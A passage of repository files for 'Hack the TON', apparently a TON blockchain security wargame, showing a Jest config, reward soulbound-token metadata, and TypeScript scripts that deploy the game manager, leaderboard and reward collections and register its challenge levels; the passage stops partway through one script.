-------------------------------------------------------------------------------- 1 | import type { Config } from "jest" 2 | 3 | const config: Config = { 4 | preset: "ts-jest", 5 | testEnvironment: "node", 6 | testPathIgnorePatterns: ["/node_modules/", "/dist/"], 7 | testTimeout: 200000, 8 | } 9 | 10 | export default config 11 | -------------------------------------------------------------------------------- /packages/contracts/metadata/advanced-sbt-collection.json: -------------------------------------------------------------------------------- 1 | { 2 | "image": "ipfs://bafybeigkmggj2cs5hahbeu6sj5c3zou5py7qmy5mnqdsne3bz2gimxlnjm/advanced-sbt-item.png", 3 | "cover_image": "ipfs://bafybeigkmggj2cs5hahbeu6sj5c3zou5py7qmy5mnqdsne3bz2gimxlnjm/cover.png", 4 | "name": "Hack the TON Advanced SBT Collection", 5 | "description": "https://www.hacktheton.com", 6 | "social_links": ["https://x.com/hacktheton", "https://t.me/hacktheton"], 7 | "marketplace": "getgems.io" 8 | } 9 | -------------------------------------------------------------------------------- /packages/contracts/metadata/advanced-sbt-item.json: -------------------------------------------------------------------------------- 1 | { 2 | "image": "ipfs://bafybeigkmggj2cs5hahbeu6sj5c3zou5py7qmy5mnqdsne3bz2gimxlnjm/advanced-sbt-item.png", 3 | "name": "Advanced", 4 | "attributes": [ 5 | { 6 | "trait_type": "Rank", 7 | "value": "Advanced" 8 | } 9 | ], 10 | "description": "13 levels completed" 11 | } 12 | -------------------------------------------------------------------------------- /packages/contracts/metadata/beginner-sbt-collection.json: -------------------------------------------------------------------------------- 1 | { 2 | "image": "ipfs://bafybeigkmggj2cs5hahbeu6sj5c3zou5py7qmy5mnqdsne3bz2gimxlnjm/beginner-sbt-item.png", 3 | "cover_image": "ipfs://bafybeigkmggj2cs5hahbeu6sj5c3zou5py7qmy5mnqdsne3bz2gimxlnjm/cover.png", 4 | "name": "Hack the TON Beginner SBT Collection", 5 | "description": "https://www.hacktheton.com", 6 | "social_links": ["https://x.com/hacktheton", "https://t.me/hacktheton"], 7 | "marketplace": "getgems.io" 8 | } 9 | -------------------------------------------------------------------------------- /packages/contracts/metadata/beginner-sbt-item.json: -------------------------------------------------------------------------------- 1 | { 2 | "image": "ipfs://bafybeigkmggj2cs5hahbeu6sj5c3zou5py7qmy5mnqdsne3bz2gimxlnjm/beginner-sbt-item.png", 3 | "name": "Beginner", 4 | "attributes": [ 5 | { 6 | "trait_type": "Rank", 7 | "value": "Beginner" 8 | } 9 | ], 10 | "description": "5 levels completed" 11 | } 12 | -------------------------------------------------------------------------------- /packages/contracts/metadata/expert-sbt-collection.json: -------------------------------------------------------------------------------- 1 | { 2 | "image": "ipfs://bafybeigkmggj2cs5hahbeu6sj5c3zou5py7qmy5mnqdsne3bz2gimxlnjm/expert-sbt-item.png", 3 | "cover_image": "ipfs://bafybeigkmggj2cs5hahbeu6sj5c3zou5py7qmy5mnqdsne3bz2gimxlnjm/cover.png", 4 | "name": "Hack the TON Expert SBT Collection", 5 | "description": "https://www.hacktheton.com", 6 | "social_links": ["https://x.com/hacktheton", "https://t.me/hacktheton"], 7 | "marketplace": "getgems.io" 8 | } 9 | -------------------------------------------------------------------------------- /packages/contracts/metadata/expert-sbt-item.json: -------------------------------------------------------------------------------- 1 | { 2 | "image": "ipfs://bafybeigkmggj2cs5hahbeu6sj5c3zou5py7qmy5mnqdsne3bz2gimxlnjm/expert-sbt-item.png", 3 | "name": "Expert", 4 | "attributes": [ 5 | { 6 | "trait_type": "Rank", 7 | "value": "Expert" 8 | } 9 | ], 10 | "description": "21 levels completed" 11 | } 12 | -------------------------------------------------------------------------------- /packages/contracts/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "contracts", 3 | "version": "0.0.1", 4 | "scripts": { 5 | "start": "blueprint run", 6 | "build": "blueprint build --all", 7 | "test": "jest --verbose" 8 | }, 9 | "devDependencies": { 10 | "@ton/blueprint": "^0.28.0", 11 | "@ton/sandbox": "^0.24.0", 12 | "@ton/test-utils": "^0.5.0", 13 | "@types/jest": "^29.5.12", 14 | "@types/node": "^20.14.10", 15 | "jest": "^29.7.0", 16 | "prettier": "^3.3.2", 17 | "@ton/ton": "^13.11.2", 18 | "@ton/core": "^0.59.0", 19 | "@ton/crypto": "^3.2.0", 20 | "ts-jest": "^29.2.0", 21 | "ts-node": "^10.9.2", 22 | "typescript": "^5.5.3" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /packages/contracts/scripts/deployAdvancedSBTCollection.ts: -------------------------------------------------------------------------------- 1 | import { Address, toNano } from "@ton/core" 2 | import { RewardSBTCollection } from "../wrappers/RewardSBTCollection" 3 | import { NetworkProvider } from "@ton/blueprint" 4 | 5 | export async function run(provider: NetworkProvider) { 6 | const rewardSBTCollection = provider.open( 7 | await RewardSBTCollection.fromInit( 8 | Address.parse("0QC8rz-GAgIMM5dsZwy7xC1Nrf_WxdriXutUD06w21k_7qbq"), 9 | { 10 | $$type: "Tep64TokenData", 11 | flag: 1n, 12 | content: 13 | "ipfs://bafybeicra4duvotmwuok4b3eulsquin6rlw75wojkpwkzhxfwlglzvk7qu/advanced-sbt-collection.json", 14 | }, 15 | "ipfs://bafybeicra4duvotmwuok4b3eulsquin6rlw75wojkpwkzhxfwlglzvk7qu/advanced-sbt-item", 16 | Address.parse("EQBIdaDsXQ13Gbddcgi7Vl_9DfyB17sUkJylYqx-OqZWP50-"), 17 | 13n, 18 | ), 19 | ) 20 | 21 | await rewardSBTCollection.send( 22 | provider.sender(), 23 | { 24 | value: toNano("0.05"), 25 | }, 26 | { 27 | $$type: "Deploy", 28 | queryId: 0n, 29 | }, 30 | ) 31 | 32 | await provider.waitForDeploy(rewardSBTCollection.address) 33 | 34 | console.log("advanced SBT collection address: ", rewardSBTCollection.address) 35 | } 36 | -------------------------------------------------------------------------------- /packages/contracts/scripts/deployBeginnerSBTCollection.ts: -------------------------------------------------------------------------------- 1 | import { Address, toNano } from "@ton/core" 2 | import { RewardSBTCollection } from "../wrappers/RewardSBTCollection" 3 | import { NetworkProvider } from "@ton/blueprint" 4 | 5 | export async function run(provider: NetworkProvider) { 6 | const rewardSBTCollection = provider.open( 7 | await RewardSBTCollection.fromInit( 8 | Address.parse("0QC8rz-GAgIMM5dsZwy7xC1Nrf_WxdriXutUD06w21k_7qbq"), 9 | { 10 | $$type: "Tep64TokenData", 11 | flag: 1n, 12 | content: 13 | "ipfs://bafybeicra4duvotmwuok4b3eulsquin6rlw75wojkpwkzhxfwlglzvk7qu/beginner-sbt-collection.json", 14 | }, 15 | "ipfs://bafybeicra4duvotmwuok4b3eulsquin6rlw75wojkpwkzhxfwlglzvk7qu/beginner-sbt-item", 16 | Address.parse("EQBIdaDsXQ13Gbddcgi7Vl_9DfyB17sUkJylYqx-OqZWP50-"), 17 | 5n, 18 | ), 19 | ) 20 | 21 | await rewardSBTCollection.send( 22 | provider.sender(), 23 | { 24 | value: toNano("0.05"), 25 | }, 26 | { 27 | $$type: "Deploy", 28 | queryId: 0n, 29 | }, 30 | ) 31 | 32 | await provider.waitForDeploy(rewardSBTCollection.address) 33 | 34 | console.log("beginner SBT collection address: ", rewardSBTCollection.address) 35 | } 36 | -------------------------------------------------------------------------------- /packages/contracts/scripts/deployExpertSBTCollection.ts: -------------------------------------------------------------------------------- 1 | import { Address, toNano } from "@ton/core" 2 | import { RewardSBTCollection } from "../wrappers/RewardSBTCollection" 3 | import { NetworkProvider } from "@ton/blueprint" 4 | 5 | export async function run(provider: NetworkProvider) { 6 | const rewardSBTCollection = provider.open( 7 | await RewardSBTCollection.fromInit( 8 | Address.parse("0QC8rz-GAgIMM5dsZwy7xC1Nrf_WxdriXutUD06w21k_7qbq"), 9 | { 10 | $$type: "Tep64TokenData", 11 | flag: 1n, 12 | content: 13 | "ipfs://bafybeicra4duvotmwuok4b3eulsquin6rlw75wojkpwkzhxfwlglzvk7qu/expert-sbt-collection.json", 14 | }, 15 | "ipfs://bafybeicra4duvotmwuok4b3eulsquin6rlw75wojkpwkzhxfwlglzvk7qu/expert-sbt-item", 16 | Address.parse("EQBIdaDsXQ13Gbddcgi7Vl_9DfyB17sUkJylYqx-OqZWP50-"), 17 | 21n, 18 | ), 19 | ) 20 | 21 | await rewardSBTCollection.send( 22 | provider.sender(), 23 | { 24 | value: toNano("0.05"), 25 | }, 26 | { 27 | $$type: "Deploy", 28 | queryId: 0n, 29 | }, 30 | ) 31 | 32 | await provider.waitForDeploy(rewardSBTCollection.address) 33 | 34 | console.log("expert SBT collection address: ", rewardSBTCollection.address) 35 | } 36 | -------------------------------------------------------------------------------- /packages/contracts/scripts/deployGameManager.ts: -------------------------------------------------------------------------------- 1 | import { Address, toNano } from "@ton/core" 2 | import { GameManager } from "../wrappers/GameManager" 3 | import { IntroductionLevelFactory } from "../wrappers/IntroductionLevelFactory" 4 | import { NetworkProvider } from "@ton/blueprint" 5 | 6 | export async function run(provider: NetworkProvider) { 7 | const gameManager = provider.open( 8 | await GameManager.fromInit( 9 | Address.parse("0QC8rz-GAgIMM5dsZwy7xC1Nrf_WxdriXutUD06w21k_7qbq"), 10 | ), 11 | ) 12 | 13 | await gameManager.send( 14 | provider.sender(), 15 | { 16 | value: toNano("0.05"), 17 | }, 18 | { 19 | $$type: "Deploy", 20 | queryId: 0n, 21 | }, 22 | ) 23 | 24 | await provider.waitForDeploy(gameManager.address) 25 | 26 | const introductionLevelFactory = provider.open( 27 | await IntroductionLevelFactory.fromInit(gameManager.address), 28 | ) 29 | 30 | await introductionLevelFactory.send( 31 | provider.sender(), 32 | { 33 | value: toNano("0.05"), 34 | }, 35 | { 36 | $$type: "Deploy", 37 | queryId: 0n, 38 | }, 39 | ) 40 | 41 | await provider.waitForDeploy(introductionLevelFactory.address) 42 | 43 | await gameManager.send( 44 | provider.sender(), 45 | { 46 | value: toNano("0.05"), 47 | }, 48 | { 49 | $$type: "RegisterLevel", 50 | name: "introduction", 51 | factory: introductionLevelFactory.address, 52 | }, 53 | ) 54 | 55 | console.log("game manager address: ", gameManager.address) 56 | } 57 | -------------------------------------------------------------------------------- /packages/contracts/scripts/deployLeaderboard.ts: -------------------------------------------------------------------------------- 1 | import { Address, toNano } from "@ton/core" 2 | import { Leaderboard } from "../wrappers/Leaderboard" 3 | import { NetworkProvider } from "@ton/blueprint" 4 | 5 | export async function run(provider: NetworkProvider) { 6 | const leaderboard = provider.open( 7 | await Leaderboard.fromInit( 8 | Address.parse("EQBIdaDsXQ13Gbddcgi7Vl_9DfyB17sUkJylYqx-OqZWP50-"), 9 | ), 10 | ) 11 | 12 | await leaderboard.send( 13 | provider.sender(), 14 | { 15 | value: toNano("0.05"), 16 | }, 17 | { 18 | $$type: "Deploy", 19 | queryId: 0n, 20 | }, 21 | ) 22 | 23 | await provider.waitForDeploy(leaderboard.address) 24 | 25 | console.log("leaderboard address: ", leaderboard.address) 26 | } 27 | -------------------------------------------------------------------------------- /packages/contracts/scripts/registerAccessLevel.ts: -------------------------------------------------------------------------------- 1 | import { Address, toNano } from "@ton/core" 2 | import { GameManager } from "../wrappers/GameManager" 3 | import { AccessLevelFactory } from "../wrappers/AccessLevelFactory" 4 | import { compile, NetworkProvider } from "@ton/blueprint" 5 | 6 | export async function run(provider: NetworkProvider) { 7 | const gameManager = provider.open( 8 | await GameManager.fromAddress( 9 | Address.parse("EQBIdaDsXQ13Gbddcgi7Vl_9DfyB17sUkJylYqx-OqZWP50-"), 10 | ), 11 | ) 12 | 13 | const accessLevelFactory = provider.open( 14 | await AccessLevelFactory.fromInit( 15 | gameManager.address, 16 | await compile("AccessLevel"), 17 | ), 18 | ) 19 | 20 | await accessLevelFactory.send( 21 | provider.sender(), 22 | { 23 | value: toNano("0.05"), 24 | }, 25 | { 26 | $$type: "Deploy", 27 | queryId: 0n, 28 | }, 29 | ) 30 | 31 | await provider.waitForDeploy(accessLevelFactory.address) 32 | 33 | await gameManager.send( 34 | provider.sender(), 35 | { 36 | value: toNano("0.05"), 37 | }, 38 | { 39 | $$type: "RegisterLevel", 40 | name: "access", 41 | factory: accessLevelFactory.address, 42 | }, 43 | ) 44 | } 45 | -------------------------------------------------------------------------------- /packages/contracts/scripts/registerBounceLevel.ts: -------------------------------------------------------------------------------- 1 | import { Address, toNano } from "@ton/core" 2 | import { GameManager } from "../wrappers/GameManager" 3 | import { BounceLevelFactory } from "../wrappers/BounceLevelFactory" 4 | import { NetworkProvider } from "@ton/blueprint" 5 | 6 | export async function run(provider: NetworkProvider) { 7 | const gameManager = provider.open( 8 | await GameManager.fromAddress( 9 | Address.parse("EQBIdaDsXQ13Gbddcgi7Vl_9DfyB17sUkJylYqx-OqZWP50-"), 10 | ), 11 | ) 12 | 13 | const bounceLevelFactory = provider.open( 14 | await BounceLevelFactory.fromInit(gameManager.address), 15 | ) 16 | 17 | await bounceLevelFactory.send( 18 | provider.sender(), 19 | { 20 | value: toNano("0.05"), 21 | }, 22 | { 23 | $$type: "Deploy", 24 | queryId: 0n, 25 | }, 26 | ) 27 | 28 | await provider.waitForDeploy(bounceLevelFactory.address) 29 | 30 | await gameManager.send( 31 | provider.sender(), 32 | { 33 | value: toNano("0.05"), 34 | }, 35 | { 36 | $$type: "RegisterLevel", 37 | name: "bounce", 38 | factory: bounceLevelFactory.address, 39 | }, 40 | ) 41 | } 42 | -------------------------------------------------------------------------------- /packages/contracts/scripts/registerBruteforceLevel.ts: -------------------------------------------------------------------------------- 1 | import { Address, toNano } from "@ton/core" 2 | import { GameManager } from "../wrappers/GameManager" 3 | import { BruteforceLevelFactory } from "../wrappers/BruteforceLevelFactory" 4 | import { NetworkProvider } from "@ton/blueprint" 5 | 6 | export async function run(provider: NetworkProvider) { 7 | const gameManager = provider.open( 8 | await GameManager.fromAddress( 9 | Address.parse("EQBIdaDsXQ13Gbddcgi7Vl_9DfyB17sUkJylYqx-OqZWP50-"), 10 | ), 11 | ) 12 | 13 | const bruteforceLevelFactory = provider.open( 14 | await BruteforceLevelFactory.fromInit(gameManager.address), 15 | ) 16 | 17 | await bruteforceLevelFactory.send( 18 | provider.sender(), 19 | { 20 | value: toNano("0.05"), 21 | }, 22 | { 23 | $$type: "Deploy", 24 | queryId: 0n, 25 | }, 26 | ) 27 | 28 | await provider.waitForDeploy(bruteforceLevelFactory.address) 29 | 30 | await gameManager.send( 31 | provider.sender(), 32 | { 33 | value: toNano("0.05"), 34 | }, 35 | { 36 | $$type: "RegisterLevel", 37 | name: "bruteforce", 38 | factory: bruteforceLevelFactory.address, 39 | }, 40 | ) 41 | } 42 | -------------------------------------------------------------------------------- /packages/contracts/scripts/registerCoinLevel.ts: -------------------------------------------------------------------------------- 1 | import { Address, toNano } from "@ton/core" 2 | import { GameManager } from "../wrappers/GameManager" 3 | import { CoinLevelFactory } from "../wrappers/CoinLevelFactory" 4 | import { NetworkProvider } from "@ton/blueprint" 5 | 6 | export async function run(provider: NetworkProvider) { 7 | const gameManager = provider.open( 8 | await GameManager.fromAddress( 9 | Address.parse("EQBIdaDsXQ13Gbddcgi7Vl_9DfyB17sUkJylYqx-OqZWP50-"), 10 | ), 11 | ) 12 | 13 | const coinLevelFactory = provider.open( 14 | await CoinLevelFactory.fromInit(gameManager.address), 15 | ) 16 | 17 | await coinLevelFactory.send( 18 | provider.sender(), 19 | { 20 | value: toNano("0.05"), 21 | }, 22 | { 23 | $$type: "Deploy", 24 | queryId: 0n, 25 | }, 26 | ) 27 | 28 | await provider.waitForDeploy(coinLevelFactory.address) 29 | 30 | await gameManager.send( 31 | provider.sender(), 32 | { 33 | value: toNano("0.05"), 34 | }, 35 | { 36 | $$type: "RegisterLevel", 37 | name: "coin", 38 | factory: coinLevelFactory.address, 39 | }, 40 | ) 41 | } 42 | -------------------------------------------------------------------------------- /packages/contracts/scripts/registerDepositLevel.ts: -------------------------------------------------------------------------------- 1 | import { Address, toNano } from "@ton/core" 2 | import { GameManager } from "../wrappers/GameManager" 3 | import { DepositLevelFactory } from "../wrappers/DepositLevelFactory" 4 | import { NetworkProvider } from "@ton/blueprint" 5 | 6 | export async function run(provider: NetworkProvider) { 7 | const gameManager = provider.open( 8 | await GameManager.fromAddress( 9 | Address.parse("EQBIdaDsXQ13Gbddcgi7Vl_9DfyB17sUkJylYqx-OqZWP50-"), 10 | ), 11 | ) 12 | 13 | const depositLevelFactory = provider.open( 14 | await DepositLevelFactory.fromInit(gameManager.address), 15 | ) 16 | 17 | await depositLevelFactory.send( 18 | provider.sender(), 19 | { 20 | value: toNano("0.05"), 21 | }, 22 | { 23 | $$type: "Deploy", 24 | queryId: 0n, 25 | }, 26 | ) 27 | 28 | await provider.waitForDeploy(depositLevelFactory.address) 29 | 30 | await gameManager.send( 31 | provider.sender(), 32 | { 33 | value: toNano("0.05"), 34 | }, 35 | { 36 | $$type: "RegisterLevel", 37 | name: "deposit", 38 | factory: depositLevelFactory.address, 39 | }, 40 | ) 41 | } 42 | -------------------------------------------------------------------------------- /packages/contracts/scripts/registerDonateLevel.ts: -------------------------------------------------------------------------------- 1 | import { Address, toNano } from "@ton/core" 2 | import { GameManager } from "../wrappers/GameManager" 3 | import { DonateLevelFactory } from "../wrappers/DonateLevelFactory" 4 | import { compile, NetworkProvider } from "@ton/blueprint" 5 | 6 | export async function run(provider: NetworkProvider) { 7 | const gameManager = provider.open( 8 | await GameManager.fromAddress( 9 | Address.parse("EQBIdaDsXQ13Gbddcgi7Vl_9DfyB17sUkJylYqx-OqZWP50-"), 10 | ), 11 | ) 12 | 13 | const donateLevelFactory = provider.open( 14 | await DonateLevelFactory.fromInit( 15 | gameManager.address, 16 | await compile("DonateLevel"), 17 | ), 18 | ) 19 | 20 | await donateLevelFactory.send( 21 | provider.sender(), 22 | { 23 | value: toNano("0.05"), 24 | }, 25 | { 26 | $$type: "Deploy", 27 | queryId: 0n, 28 | }, 29 | ) 30 | 31 | await provider.waitForDeploy(donateLevelFactory.address) 32 | 33 | await gameManager.send( 34 | provider.sender(), 35 | { 36 | value: toNano("0.05"), 37 | }, 38 | { 39 | $$type: "RegisterLevel", 40 | name: "donate", 41 | factory: donateLevelFactory.address, 42 | }, 43 | ) 44 | } 45 | -------------------------------------------------------------------------------- /packages/contracts/scripts/registerExecutionLevel.ts: -------------------------------------------------------------------------------- 1 | import { Address, toNano } from "@ton/core" 2 | import { GameManager } from "../wrappers/GameManager" 3 | import { ExecutionLevelFactory } from "../wrappers/ExecutionLevelFactory" 4 | import { compile, NetworkProvider } from "@ton/blueprint" 5 | 6 | export async function run(provider: NetworkProvider) { 7 | const gameManager = provider.open( 8 | await GameManager.fromAddress( 9 | Address.parse("EQBIdaDsXQ13Gbddcgi7Vl_9DfyB17sUkJylYqx-OqZWP50-"), 10 | ), 11 | ) 12 | 13 | const executionLevelFactory = provider.open( 14 | await ExecutionLevelFactory.fromInit( 15 | gameManager.address, 16 | await compile("ExecutionLevel"), 17 | ), 18 | ) 19 | 20 | await executionLevelFactory.send( 21 | provider.sender(), 22 | { 23 | value: toNano("0.05"), 24 | }, 25 | { 26 | $$type: "Deploy", 27 | queryId: 0n, 28 | }, 29 | ) 30 | 31 | await provider.waitForDeploy(executionLevelFactory.address) 32 | 33 | await gameManager.send( 34 | provider.sender(), 35 | { 36 | value: toNano("0.05"), 37 | }, 38 | { 39 | $$type: "RegisterLevel", 40 | name: "execution", 41 | factory: executionLevelFactory.address, 42 | }, 43 | ) 44 | } 45 | -------------------------------------------------------------------------------- /packages/contracts/scripts/registerGatekeeperLevel.ts: -------------------------------------------------------------------------------- 1 | import { Address, toNano } from "@ton/core" 2 | import { GameManager } from "../wrappers/GameManager" 3 | import { GatekeeperLevelFactory } from "../wrappers/GatekeeperLevelFactory" 4 | import { NetworkProvider } from "@ton/blueprint" 5 | 6 | export async function run(provider: NetworkProvider) { 7 | const gameManager = provider.open( 8 | await GameManager.fromAddress( 9 | Address.parse("EQBIdaDsXQ13Gbddcgi7Vl_9DfyB17sUkJylYqx-OqZWP50-"), 10 | ), 11 | ) 12 | 13 | const gatekeeperLevelFactory = provider.open( 14 | await GatekeeperLevelFactory.fromInit(gameManager.address), 15 | ) 16 | 17 | await gatekeeperLevelFactory.send( 18 | provider.sender(), 19 | { 20 | value: toNano("0.05"), 21 | }, 22 | { 23 | $$type: "Deploy", 24 | queryId: 0n, 25 | }, 26 | ) 27 | 28 | await provider.waitForDeploy(gatekeeperLevelFactory.address) 29 | 30 | await gameManager.send( 31 | provider.sender(), 32 | { 33 | value: toNano("0.05"), 34 | }, 35 | { 36 | $$type: "RegisterLevel", 37 | name: "gatekeeper", 38 | factory: gatekeeperLevelFactory.address, 39 | }, 40 | ) 41 | } 42 | -------------------------------------------------------------------------------- /packages/contracts/scripts/registerIntroductionLevel.ts: -------------------------------------------------------------------------------- 1 | import { Address, toNano } from "@ton/core" 2 | import { GameManager } from "../wrappers/GameManager" 3 | import { IntroductionLevelFactory } from "../wrappers/IntroductionLevelFactory" 4 | import { NetworkProvider } from "@ton/blueprint" 5 | 6 | export async function run(provider: NetworkProvider) { 7 | const gameManager = provider.open( 8 | await GameManager.fromAddress( 9 | Address.parse("EQBIdaDsXQ13Gbddcgi7Vl_9DfyB17sUkJylYqx-OqZWP50-"), 10 | ), 11 | ) 12 | 13 | const introductionLevelFactory = provider.open( 14 | await IntroductionLevelFactory.fromInit(gameManager.address), 15 | ) 16 | 17 | await introductionLevelFactory.send( 18 | provider.sender(), 19 | { 20 | value: toNano("0.05"), 21 | }, 22 | { 23 | $$type: "Deploy", 24 | queryId: 0n, 25 | }, 26 | ) 27 | 28 | await provider.waitForDeploy(introductionLevelFactory.address) 29 | 30 | await gameManager.send( 31 | provider.sender(), 32 | { 33 | value: toNano("0.05"), 34 | }, 35 | { 36 | $$type: "RegisterLevel", 37 | name: "introduction", 38 | factory: introductionLevelFactory.address, 39 | }, 40 | ) 41 | } 42 | -------------------------------------------------------------------------------- /packages/contracts/scripts/registerIntruderLevel.ts: -------------------------------------------------------------------------------- 1 | import { Address, toNano } from "@ton/core" 2 | import { GameManager } from "../wrappers/GameManager" 3 | import { IntruderLevelFactory } from "../wrappers/IntruderLevelFactory" 4 | import { NetworkProvider } from "@ton/blueprint" 5 | 6 | export async function run(provider: NetworkProvider) { 7 | const gameManager = provider.open( 8 | await GameManager.fromAddress( 9 | Address.parse("EQBIdaDsXQ13Gbddcgi7Vl_9DfyB17sUkJylYqx-OqZWP50-"), 10 | ), 11 | ) 12 | 13 | const intruderLevelFactory = provider.open( 14 | await IntruderLevelFactory.fromInit(gameManager.address), 15 | ) 16 | 17 | await intruderLevelFactory.send( 18 | provider.sender(), 19 | { 20 | value: toNano("0.05"), 21 | }, 22 | { 23 | $$type: "Deploy", 24 | queryId: 0n, 25 | }, 26 | ) 27 | 28 | await provider.waitForDeploy(intruderLevelFactory.address) 29 | 30 | await gameManager.send( 31 | provider.sender(), 32 | { 33 | value: toNano("0.05"), 34 | }, 35 | { 36 | $$type: "RegisterLevel", 37 | name: "intruder", 38 | factory: intruderLevelFactory.address, 39 | }, 40 | ) 41 | } 42 | -------------------------------------------------------------------------------- /packages/contracts/scripts/registerJackpotLevel.ts: -------------------------------------------------------------------------------- 1 | import { Address, toNano } from "@ton/core" 2 | import { GameManager } from "../wrappers/GameManager" 3 | import { JackpotLevelFactory } from "../wrappers/JackpotLevelFactory" 4 | import { compile, NetworkProvider } from "@ton/blueprint" 5 | 6 | export async function run(provider: NetworkProvider) { 7 | const gameManager = provider.open( 8 | await GameManager.fromAddress( 9 | Address.parse("EQBIdaDsXQ13Gbddcgi7Vl_9DfyB17sUkJylYqx-OqZWP50-"), 10 | ), 11 | ) 12 | 13 | const jackpotLevelFactory = provider.open( 14 | await JackpotLevelFactory.fromInit( 15 | gameManager.address, 16 | await compile("JackpotLevel"), 17 | ), 18 | ) 19 | 20 | await jackpotLevelFactory.send( 21 | provider.sender(), 22 | { 23 | value: toNano("0.05"), 24 | }, 25 | { 26 | $$type: "Deploy", 27 | queryId: 0n, 28 | }, 29 | ) 30 | 31 | await provider.waitForDeploy(jackpotLevelFactory.address) 32 | 33 | await gameManager.send( 34 | provider.sender(), 35 | { 36 | value: toNano("0.05"), 37 | }, 38 | { 39 | $$type: "RegisterLevel", 40 | name: "jackpot", 41 | factory: jackpotLevelFactory.address, 42 | }, 43 | ) 44 | } 45 | -------------------------------------------------------------------------------- /packages/contracts/scripts/registerLogicalLevel.ts: -------------------------------------------------------------------------------- 1 | import { Address, toNano } from "@ton/core" 2 | import { GameManager } from "../wrappers/GameManager" 3 | import { LogicalLevelFactory } from "../wrappers/LogicalLevelFactory" 4 | import { compile, NetworkProvider } from "@ton/blueprint" 5 | 6 | export async function run(provider: NetworkProvider) { 7 | const gameManager = provider.open( 8 | await GameManager.fromAddress( 9 | Address.parse("EQBIdaDsXQ13Gbddcgi7Vl_9DfyB17sUkJylYqx-OqZWP50-"), 10 | ), 11 | ) 12 | 13 | const logicalLevelFactory = provider.open( 14 | await LogicalLevelFactory.fromInit( 15 | gameManager.address, 16 | await compile("LogicalLevel"), 17 | 1n, 18 | ), 19 | ) 20 | 21 | await logicalLevelFactory.send( 22 | provider.sender(), 23 | { 24 | value: toNano("0.05"), 25 | }, 26 | { 27 | $$type: "Deploy", 28 | queryId: 0n, 29 | }, 30 | ) 31 | 32 | await provider.waitForDeploy(logicalLevelFactory.address) 33 | 34 | await gameManager.send( 35 | provider.sender(), 36 | { 37 | value: toNano("0.05"), 38 | }, 39 | { 40 | $$type: "RegisterLevel", 41 | name: "logical", 42 | factory: logicalLevelFactory.address, 43 | }, 44 | ) 45 | } 46 | -------------------------------------------------------------------------------- /packages/contracts/scripts/registerPartialLevel.ts: -------------------------------------------------------------------------------- 1 | import { Address, toNano } from "@ton/core" 2 | import { GameManager } from "../wrappers/GameManager" 3 | import { PartialLevelFactory } from "../wrappers/PartialLevelFactory" 4 | import { NetworkProvider } from "@ton/blueprint" 5 | 6 | export async function run(provider: NetworkProvider) { 7 | const gameManager = provider.open( 8 | await GameManager.fromAddress( 9 | Address.parse("EQBIdaDsXQ13Gbddcgi7Vl_9DfyB17sUkJylYqx-OqZWP50-"), 10 | ), 11 | ) 12 | 13 | const partialLevelFactory = provider.open( 14 | await PartialLevelFactory.fromInit(gameManager.address), 15 | ) 16 | 17 | await partialLevelFactory.send( 18 | provider.sender(), 19 | { 20 | value: toNano("0.05"), 21 | }, 22 | { 23 | $$type: "Deploy", 24 | queryId: 0n, 25 | }, 26 | ) 27 | 28 | await provider.waitForDeploy(partialLevelFactory.address) 29 | 30 | await gameManager.send( 31 | provider.sender(), 32 | { 33 | value: toNano("0.05"), 34 | }, 35 | { 36 | $$type: "RegisterLevel", 37 | name: "partial", 38 | factory: partialLevelFactory.address, 39 | }, 40 | ) 41 | } 42 | -------------------------------------------------------------------------------- /packages/contracts/scripts/registerPeekLevel.ts: -------------------------------------------------------------------------------- 1 | import { Address, toNano } from "@ton/core" 2 | import { GameManager } from "../wrappers/GameManager" 3 | import { PeekLevelFactory } from "../wrappers/PeekLevelFactory" 4 | import { NetworkProvider } from "@ton/blueprint" 5 | 6 | export async function run(provider: NetworkProvider) { 7 | const gameManager = provider.open( 8 | await GameManager.fromAddress( 9 | Address.parse("EQBIdaDsXQ13Gbddcgi7Vl_9DfyB17sUkJylYqx-OqZWP50-"), 10 | ), 11 | ) 12 | 13 | const peekLevelFactory = provider.open( 14 | await PeekLevelFactory.fromInit(gameManager.address, 1337n), 15 | ) 16 | 17 | await peekLevelFactory.send( 18 | provider.sender(), 19 | { 20 | value: toNano("0.05"), 21 | }, 22 | { 23 | $$type: "Deploy", 24 | queryId: 0n, 25 | }, 26 | ) 27 | 28 | await provider.waitForDeploy(peekLevelFactory.address) 29 | 30 | await gameManager.send( 31 | provider.sender(), 32 | { 33 | value: toNano("0.05"), 34 | }, 35 | { 36 | $$type: "RegisterLevel", 37 | name: "peek", 38 | factory: peekLevelFactory.address, 39 | }, 40 | ) 41 | } 42 | -------------------------------------------------------------------------------- /packages/contracts/scripts/registerProxyLevel.ts: -------------------------------------------------------------------------------- 1 | import { Address, toNano } from "@ton/core" 2 | import { GameManager } from "../wrappers/GameManager" 3 | import { ProxyLevelFactory } from "../wrappers/ProxyLevelFactory" 4 | import { compile, NetworkProvider } from "@ton/blueprint" 5 | 6 | export async function run(provider: NetworkProvider) { 7 | const gameManager = provider.open( 8 | await GameManager.fromAddress( 9 | Address.parse("EQBIdaDsXQ13Gbddcgi7Vl_9DfyB17sUkJylYqx-OqZWP50-"), 10 | ), 11 | ) 12 | 13 | const proxyLevelFactory = provider.open( 14 | await ProxyLevelFactory.fromInit( 15 | gameManager.address, 16 | await compile("ProxyLevel"), 17 | ), 18 | ) 19 | 20 | await proxyLevelFactory.send( 21 | provider.sender(), 22 | { 23 | value: toNano("0.05"), 24 | }, 25 | { 26 | $$type: "Deploy", 27 | queryId: 0n, 28 | }, 29 | ) 30 | 31 | await provider.waitForDeploy(proxyLevelFactory.address) 32 | 33 | await gameManager.send( 34 | provider.sender(), 35 | { 36 | value: toNano("0.05"), 37 | }, 38 | { 39 | $$type: "RegisterLevel", 40 | name: "proxy", 41 | factory: proxyLevelFactory.address, 42 | }, 43 | ) 44 | } 45 | -------------------------------------------------------------------------------- /packages/contracts/scripts/registerScannerLevel.ts: -------------------------------------------------------------------------------- 1 | import { Address, toNano } from "@ton/core" 2 | import { GameManager } from "../wrappers/GameManager" 3 | import { ScannerLevelFactory } from "../wrappers/ScannerLevelFactory" 4 | import { NetworkProvider } from "@ton/blueprint" 5 | 6 | export async function run(provider: NetworkProvider) { 7 | const gameManager = provider.open( 8 | await GameManager.fromAddress( 9 | Address.parse("EQBIdaDsXQ13Gbddcgi7Vl_9DfyB17sUkJylYqx-OqZWP50-"), 10 | ), 11 | ) 12 | 13 | const scannerLevelFactory = provider.open( 14 | await 